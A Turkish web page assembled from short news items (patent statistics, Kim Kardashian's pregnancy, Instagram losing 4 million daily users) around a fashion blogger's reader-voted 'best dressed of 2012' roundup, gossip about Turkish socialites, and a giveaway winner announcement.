Yamankaradeniz, TPE tarafından açıklanan rakamlardan bazı dikkat çeken örnekler verdi. Türk şirketleri tarafından yurtdışına yapılan patent başvurusu sayısında yüzde 40 gibi bir oranda artış olduğuna dikkat çekerek, yurtdışından Türkiye’ye yapılan patent başvurusunda ise yüzde 7,5 oranında bir artış kaydedildiğini sözlerine ekledi. Yamankaradeniz şöyle devam etti: “Türk ekonomisinin 2012 yılında yaklaşık yüzde 3 büyüme kaydedeceğinin tahmin edildiği bir ortamda, artık daha hızlı büyümeye odaklanmak için, yani yüzde 5 üzeri büyüme sağlamak için patente yönelik çalışmaların artışına ihtiyaç vardır.”

Kim Kardashian hamile

Amerikalı TV yıldızı Kim Kardashian ile bir süredir birlikte olduğu şarkıcı Kanye West ilk bebeklerini kucaklarına almaya hazırlandıklarını açıkladı. 

Bakalım hamile ve anne Kim Kardashian nasıl olacak…

2012 ‘nin En İyileri !!

Verdiğiniz cevaplar sayesinde elimde Vanity Fair ‘in Best Dressed of the Year listesiyle yarışır bir listem var. Zaten o listelerde mutlaka ama mutlaka abuk sabuk birkaç isim olur. Ama göreceksiniz benim listemde bir tane bile aaa bu nasıl listeye girmiş ki ? diyeceğiniz isim yok 🙂

YILIN ELBİSESİ : Açık ara farkla Gwyneth Paltrow ‘un Oscar Törenine giydiği pelerinli beyaz Tom Ford elbiseyi seçtiniz ! Ardından Cambridge Düşesi Kate ‘in Jenny Packham elbisesi geliyor.

Bu 2 isim dışında yılın ikonik elbiseleri olarak seçtiklerinizin içinde Gossip Girl ‘ün finalinde Blair Waldorf ‘un giydiği Elie Saab elbise;

Keira Knightley ‘in Anna Karenina galasında giydiği Erdem ;

Charlize Theron ‘un Dior ‘u

Milla Jovovich ‘in Elie Saab ‘ı
Blake Lively ‘nin Zuhair Murad ‘ı


Julianne Moore ‘un Dior ‘u


ve Derin Mermerci ‘nin L’Officiel dergisinin kapağında giydiği Tom Ford piton elbise geliyor.
YILIN KOLEKSİYONU : Balmain Fall 2012 ‘nin Fabergé yumurtalarından esinlenildiği tüm incili modelleri, Tom Ford ‘un 2012 Fall ve Stella McCartney ‘in özellikle Saskia elbisesi yılın en çok beğenilen ve konuşulan koleksiyonları oldu.

YILIN GELİNLİĞİ : Böyle bir soru sormadım ama verdiğiniz cevaplardan yılın gelinliği de belirlenmiş oldu. Kate Middleton ve Kate Moss ‘un da gelinliği söylenmiş ama sorduğum 2012 yılı içindi. 2012 ‘nin gelinliği Anne Hathaway ‘in Valentino Couture ‘ü oldu.

YILIN EN ŞIKLARI : Seçimlerinizde 3 isim ön plana çıkıyor. Gwyneth Paltrow, Diane Kruger ve Cambridge Düşesi Kate.

Bu 3 ismin ardından gelenler ise ;
Miroslava Duma

Olivia Palermo

Taylor Tomasi Hill

Ulyana Sergeenko
Blake Lively
Kasia Smutniak
Blonde Salad – Chiara Ferragni
Poppy Delevigne

TÜRKİYE ‘NİN EN ŞIKLARI : Türkiye sınırları içine geldiğimizde ise en şık bulduğunuz isimlerin başında Feryal Gülman, Siren Ertan Çarmıklı, Derin Mermerci, Hande Ataizi, Ezgi KıramerEce Sükan, Edvina Sponza ve Sanem Tezman geliyor. 

Bu isimlerin yanına bu sene 4 yeni isim katılıyor. Arzu Sabancı, Begüm ŞenGül Saygı ve Didem Soydan. 

Biliyorum ki bu sorulara benim verdiğim cevapları da merak ediyorsunuz. O zaman sıra ben de 🙂 

Yılın en ikonik elbisesi benim de Gwyneth Paltrow ‘un Tom Ford elbisesi. Hollywood kırmızı halıda ise seçimlerim Gwyneth Paltrow, Keira Knightley ve Diane Kruger ‘dır. Bizden ise kesinlikle Derin Mermerci ‘nin bu post içinde resmini koyduğum siyah Hakan Yıldırım elbisesidir. Bence 2012 ‘nin en mükemmel şıklığını sergilemişti. 

Bu sene sosyetik isimlerimizde en rağbet gören marka ise hiç şüphesiz Victoria Beckham ‘dı. Koleksiyondan giyilmedik elbise kalmadı. Başta Feryal Gülman, Arzu Sabancı, Siren Ertan Çarmıklı, Etel Baler, Beyza Aslan, Berrin Yoleri, Begüm Şen, Aslı Şen bir çırpıda Victoria Beckham sevenler olarak aklıma gelenler. 

Son dönemde ise Harvey Nichols ‘ın Tom Ford koleksiyonlarını İstanbul ‘a getirmesiyle ciddi bir Tom Ford salgını başladı. Yine Feryal Gülman ve Arzu Sabancı ‘nın önderliğinde herkeste bir Tom Ford giyme yarışı başladı. 
Yılın en güzel şekilde süpriz yapanı ise Aslı Şen derim. Yeni fit ölçüleriyle öyle bir coştu ki eminim yıl boyunca bir çoğumuzu mest etti. 

Hem isim olarak hem de tarz olarak roket hızıyla giriş yapan ise Beyza Aslan. Victoria Beckham ile başladı, Pucci ‘lerle devam etti, şu ara Balmain ve Tom Ford ‘larıyla marka giyim adına takip edilesi zevkli bir isim oluverdi. 

Yılın ayakkabısı Christian Louboutin ‘in bis un bout ‘su, çantası ise söz konusu Türk sosyetiklerimizse elbette ki Hermes ve Chanel ‘di. Bu 2 markanın değişeceği ihtimali ne yazık ki kırmızı renkte kar yağması kadar imkansız 🙂 

Yılın en çok konuşulan moda skandallarında ise ne yazık ki bendenizin imzası var 😦 İlk Eda Taşpınar ‘ın çakma Chanel olayı hemen ardından Zeynep Tosun ‘un Giambattista Valli çakması son derece keyifsiz ve tatsız konulardı. 

Ve hep beraber bir seneyi daha devirdik. 2013 ‘ün hepimiz için keyifli geçmesini dilerim. Turp gibi sağlıklı olalım, henüz bulamayanlar tez zamanda hayatının aşkını bulsun, anne olmak isteyenler yeni yılın ilk ayında hamile kalsın, en baba markalardan alışveriş yapmak isteyenlere yılbaşı piyangosu çıksın, ofisten burnunu çıkaramayanlar kendilerini Bora Bora ‘da bulsun, tüm kilo derdi olanlar Gisele Bundchen gibi oluversin, tüm tasarımcılarımız özgün olsun, Ayşe Kucuroğlu mümkünse 2013 ‘te doğurmaya ara versin, Eda Taşpınar orjinal bir Balmain alabilsin, Işıl Reçber birgün makyaj yapmayı unutuversin, Feryal Gülman ‘ın gardrobunun her santimetre karesini görebilelim, Hakaan ‘ın çalınan son koleksiyonu artık çıksın gibi Pelin’ce dileklerimi sizlerle paylaşır ve  tüm yıl boyunca bloguma göstermiş olduğunuz ilgi için sizlere teşekkür ederim. 

İyi ki varsınız !

VE KAZANAN…

Moschino kalp kutuyu kazanan 7 numaralı okuyucum Zeynep Altmışoğlu !!

Tebrikler Zeynep güle güle kullan ve her kullandığında beni hatırla 🙂 Hemen mailini yazıyorum.

Katılan herkese teşekkür eder, 2013 ‘ün hepimiz için sağlık ve mutluluk içinde geçmesini dilerim..

Yarın yılın son postu yani sizin seçimlerinizle Moda Ve Sosyete Best Dressed of 2012 var 🙂 

Instagram 4 milyon kullanıcısını birden kaybetti

Dünyanın en popüler uygulaması 4 milyon kullanıcısını birden kaybetti.


AppData’nın verilerine göre Instagram, özellikle yoğun tartışmalara neden olan yeni sözleşme hükümleri dolayısıyla günlük aktif kullanıcılardan büyük darbe yedi. Sözleşmenin yayınlanmasından önce 16.4 milyon olan aktif günlük kullanıcı sayısı sözleşmenin ses getirmesi ve kullanıcılardan tepki görmesiyle 4 milyon azalarak 12.4 milyona geriledi.